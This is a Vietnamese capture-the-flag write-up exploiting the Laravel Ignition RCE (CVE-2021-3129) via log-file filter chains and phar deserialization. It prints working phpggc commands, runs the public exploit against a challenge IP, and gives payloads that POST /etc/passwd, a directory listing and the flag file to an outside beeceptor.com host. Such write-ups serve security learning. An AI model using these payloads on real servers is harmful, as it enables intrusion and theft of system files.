[MTA CTF 2021] Don’t be a script kiddie



I. CVE-2021-3129

Phân tích CVE-2021-3229 chi tiết tại đây hoặc đây ( tiếng trung) hoặc đây (tiếng việt).

Về cơ bản thì lỗi sảy ra trong quá tiếng trình debug của Laravel , có một api để hiện thị lỗi, sau khi lược bổ đi một số công dụng của hàm thì chung quy lại sẽ thành như sau:


Dựa vào bài viết the upload progress technique demonstrated by Orange Tsai. Từ đó đưa ra nhận xét có thể thêm, sửa, xóa và thực thi một file.

1. Thêm

Theo mặc định, file log của Laravel chứa mọi lỗi PHP và stack trace, được lưu trong storage/log/laravel.log.

[previous log entries]

[prefix] file_get_contents(SOME_TEXT_OF_OUR_CHOICE)[midfix] file_get_contents(SOME_TEXT_OF_OUR_CHOICE)[suffix]

2. Sửa

PHP wrappers: để thay đổi nội dung file.

Về cơ bản là như sau:

$echo ':;.!!!!!ZEdWemRBbz0K:;.!!!!!' > /path/to/file.txt

$f = 'php://filter/read=convert.base64-decode|convert.base64-decode/resource=/path/to/file.txt';

$contents = file_get_contents($f);

file_put_contents($f, $contents);

Sau câu lệnh này file .txt sẽ chứa nội dung là: test. Bởi vì quá trình decode-base64 thì PHP sẽ tự động bỏ đi các ký tự không thuộc bộ mã. Lợi dụng tính chất này hoàn toàn có thể xóa đi các nội dung trong file log, chỉ để lại nội dung cần thiết. Sau quá trình cân đo tinh toán thi đã có một loạt các câu lệnh sau để thay đổi được nội dung của file log.

 

php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=/path/to/storage/logs/laravel.log

convert.quoted-printable-decode: decode các string có giá trị là ‘=00’ thành byte \00

convert.iconv.utf-16le.utf-8: convert từ dạng 2 byte thành dạng utf-8: (chuyển đổi lệnh log không mong muốn bằng cách gộp 2 byte lại.

convert.base64-decode: xóa các byte bị convert sang utf-8 mà nằm ngoài bẳng mã

Chỉ cần tạo được shell có bằng các encode lại quá trình trên thì shell đó sẽ được ghi

3. Xóa

Chỉ cần thực hiện câu lệnh sau là log sẽ được xóa:

Kết hợp 3 chức năng trên để xây dựng thành công file log có chứa nội dung của shell muốn inject.

Vì quá trình chỉnh sưa cần có 2 điều kiện: sau quá trình convert.quoted-printable-decode các byte còn lại phải là chẳn thì mới có thể convert.iconv.utf-16le.utf-8 và kết quả sau khi convert.iconv.utf-16le.utf-8 phải không được có dấu ‘=’ ở giữa nội dung decode-base64 mới được thực hiện. Để bypass cái thứ 2 thì đơn giản, chỉ cần sửa shell cho thêm các byte padding vào sao cho quá trình encode từ shell thành base64 không xuất hiện dâu ‘=’ thì thành công. Đến cái thứ nhất thì cần tạo ra các cặp string có lượng byte bằng nhau thì nó sẽ tự dộng thành chẵn byte: xây dựng ra quy trình sau:

Xóa log -> gửi content ‘AA’ -> gửi content ‘shell’ như vậy các tiền tố hậu tố sẽ xuất hiên 2 lần -> chẵn ký tự. Vì shell xuất hiện 2 lần nên dựa vào cấu trúc của convert.iconv.utf-16le.utf-8 chỉ cần thêm 1 byte vào sau shell thì quá trình decode shell thứ 2 sẽ bị lệnh byte và trở thành “junk chars

4.Thực thi

Sử dụng lỗ hổng: Lỗ hổng Insecure Deserialization trong PHP chuyển đổi từ string thành object thông qua lệnh phar để thực thi. Để thuận tiện quá trình khai thác mình sẽ sử dụng công cụ có sẵn sau: https://github.com/ambionics/phpggc. Có thểm tham khảo bài nay để biết thêm chi tiết.

Khai thác

Sửa dụng công cụ được viết sẵn để khai thác CVE sau: https://github.com/ambionics/laravel-exploits. Chỉnh sửa một chút để file đó in ra log khi request:

Thử nghiệm đối với từng PHPGGC payload.

Bước 1: Tạo file shell

1

php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct Laravel/RCE1 system id

Thử đổi qua payload Laravel/RCE5 thành công, có thể inject code php.

Bước 2: Thực thi

1

./laravel-ignition-rce.py http://45.32.118.198:8000/ /tmp/exploit.phar

Kết quả trả về sẽ có 2 trường hợp:

1.    Chỉnh sửa file thành công sẽ trả về nội dung sau: Successfully converted to PHAR !

2.    Chỉnh sửa file thất bại sẽ trả về nội dung sau: Convertion to PHAR failed (try again ?)

Cũng không hiểu lý do tại sao mà cứ một lần 2 lần liên tiếp thì sẽ có 1 lần được ( hay là do log cữ chưa xóa được nhỉ :v)

Với lần thực thi với lệnh system thì kết quả trả về là hàm system bị disable: sau một hồi thử nghiệm với các hàm để thực thi câu lệnh khác không có một hàm nào chạy được. Và cuối cùng dựa vào chính hàm file_get_contents để kiểm tra lỗ hổng blind rce. Sử dụng server beeceptor.com để kiểm tra request.

1

php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct Laravel/RCE5 "file_get_contents('https://google.free.beeceptor.com');"


Có request đến server beeceptor.com từ đó xác định được câu lệnh được thực thi. Vấn đề bây giờ là phải biết được vị trí của flag và lấy được flag ra. Sau một hồi tính toán thử nghiệm, mình đưa ra payload sau có thể lấy nội dung file:

1

php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct Laravel/RCE5 "file_get_contents('https://google.free.beeceptor.com', false, stream_context_create(array('http' => array( 'method' => 'POST', 'content' => 'data='.file_get_contents('file:///etc/passwd')))));"


Tìm kiếm thư mục có chưa file Flag:

1

php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct Laravel/RCE5 "file_get_contents('https://google.free.beeceptor.com', false, stream_context_create(array('http' => array( 'method' => 'POST', 'content' => 'data='.implode(scandir('/'))))));"


Từ nội dung trên tìm được file flag là : /secret.flag

1

./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct Laravel/RCE5 "file_get_contents('https://google.free.beeceptor.com', false, stream_context_create(array('http' => array( 'method' => 'POST', 'content' => 'data='.file_get_contents('file:///secret.flag')))));"

Flag: MTACTF{publ1c_p0c_w0nt_w0rk}


Tài liệu tham khảo:

https://www.ambionics.io/blog/laravel-debug-rce

http://blog.orange.tw/2018/10/

https://whoamianony.top/2021/01/15/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/Laravel/Laravel%20Debug%20mode%20RCE%EF%BC%88CVE-2021-3129%EF%BC%89%E5%88%A9%E7%94%A8%E5%A4%8D%E7%8E%B0/

https://github.com/ambionics/laravel-exploits

https://portswigger.net/web-security/deserialization/exploiting#phar-deserialization

https://github.com/ambionics/phpggc

https://www.ambionics.io/blog/php-generic-gadget-chains

 


Nhận xét

Đăng nhận xét